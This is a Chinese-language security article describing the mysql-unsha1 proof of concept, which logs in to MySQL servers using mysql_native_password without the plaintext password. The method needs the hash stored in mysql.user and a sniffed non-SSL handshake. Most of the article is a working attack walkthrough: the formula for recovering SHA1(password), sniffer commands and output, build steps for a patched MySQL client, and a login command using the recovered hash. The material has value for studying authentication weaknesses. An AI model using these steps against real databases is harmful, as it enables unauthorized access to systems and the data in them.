mysql-unsha1:在未知密碼情況下,登錄任意MYSQL資料庫
摘要
這個POC用於在不知道明文密碼的情況下對啟用了密碼安全認證插件(默認開啟插件:mysql_native_password)的MYSQL資料庫進行登錄。
前提條件為:
1.為了獲取到已知用戶的hash,我們需要讀取到目標資料庫中的mysql.user表。
2.能夠攔截到上述已知用戶執行成功的認證信息(即通過SSL認證無法攻擊成功)。
注意:這並不是MYSQL的一個漏洞,只是認證協議工作的直接後果。如果攻擊者已經滿足了上面兩個前提,那麼整個系統應該是已經被攻破了。則這篇文章只是對MYSQL伺服器獲取許可權的另外一種思路。
MySQL伺服器密碼
在默認情況下,所有密碼應該是存放在資料庫中的mysql.user表中,並且使用PASSWORD()方法對密碼進行兩次SHA1摘要。
mysql> SELECT DISTINCT password FROM mysql.user WHERE user = root;n*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19nnmysql> SELECT PASSWORD(password);n*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19nnmysql> SELECT SHA1(UNHEX(SHA1(password)));n2470c0c06dee42fd1618bb99005adca2ec9d1e19n
握手認證
客戶端發送TCP連接信息之後,MYSQL握手認證的簡化步驟大致如下:
1. 服務端發送一個包含鹽(s)的數據包2. 客戶端回應一個包含處理過後的密碼(x)的登錄請求,密碼加密演算法為:
x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))n
其中password是用戶提供的,"+"是將字元串鏈接起來。
3. 如果滿足下面等式,服務端會確認登錄成功:SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))n
其中SHA1(SHA1(password))是對密碼進行兩次SHA1摘要,然後儲存到mysql.user表中。並且服務端並不知道密碼以及它的SHA1摘要是什麼。
漏洞利用
攻擊者已經能夠獲得SHA1(password),因此我們可以在不知道明文的密碼情況下對服務端進行欺騙。
步驟如下:
1.將h設置為我們在mysql.user表中得到的經過編碼的password。
2.s和x是我們通過攔截通信得到的鹽和經過處理的密碼。
所以,第一步對密碼進行的SHA1可以表示為:
SHA1(password) = x XOR SHA1(s + h)
攻擊工具
為了可以更加方便的利用這個漏洞,為這個PoC提供了兩個利用工具:
1.一個簡單的嗅探器,用於從PCAP文件中提取和檢查實時或離線的握手信息;
2.允許將登錄的密碼設置為SHA1摘要,而不是明文密碼的補丁.
嗅探器
安裝mysql-unsha1-sniff只需要運行make命令(或者使用make static生成一個靜態鏈接可執行文件)。Makefile將在此目錄下查找uthash.h文件,如果不存在,就去下載它。
運行不帶參數的mysql-unsha1-sniff,將顯示用法。
例子:
sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:rootn
一旦成功抓到握手認證信息,數據會像下面一樣:
[+] Input:n[+] - username ........................ rootn[+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49n[+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329n[+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19n[+] Output:n[+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8n[+] Check:n[+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19n[+] - authentication status ........... OKn
如果沒有提供帳戶信息,工具將僅顯示salt和會話密碼。
mysql客戶端補丁
搭建mysql客戶端需要一些時間,並且確保您的磁碟有足夠的空間。
1下載並且解壓MySQL源碼:
wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gzntar xf mysql-5.7.17.tar.gzncd mysql-server-mysql-5.7.17n
2.安裝補丁
patch -p1 </path/to/mysql-server-unsha1.patchn
3.編譯:
mkdir buildncd buildncmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON ..nmake -j$(nproc)n
4.客戶端文件將在client/mysql文件夾中產生,設置環境變數。安裝完成之後刪除源碼節省重空間。
sudo cp client/mysql /usr/local/bin/mysql-unsha1ncd ../..nrm -fr mysql-server-mysql-5.7.17n
使用mysql-unsha1作為原始的MySQL客戶端,並且只需要了解–password[=password], -p[password]選項需要一個長度為40的SHA1摘要。
使用前面獲取到的SHA1進行登錄:
mysql-unsha1 -h 127.0.0.1 -P 3306 -u root --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8n
其中:
mysql> SELECT SHA1(UNHEX(5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8));n2470c0c06dee42fd1618bb99005adca2ec9d1e19n
2470c0c06dee42fd1618bb99005adca2ec9d1e19是在mysql.user表裡面的密碼。
本文參考來源於github,如若轉載,請註明來源於嘶吼: mysql-unsha1:在未知密碼情況下,登錄任意MYSQL資料庫 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※用DLL文件黑掉遠程Windows PC
※工具推薦:22款最流行的計算機取證工具【2017年更新版】
※技術分析的流派及其核心內涵之一
※Home Lab家庭實驗室搭建之網路配置篇
※深度剖析Struts2遠程代碼執行漏洞(CVE-2017-5638)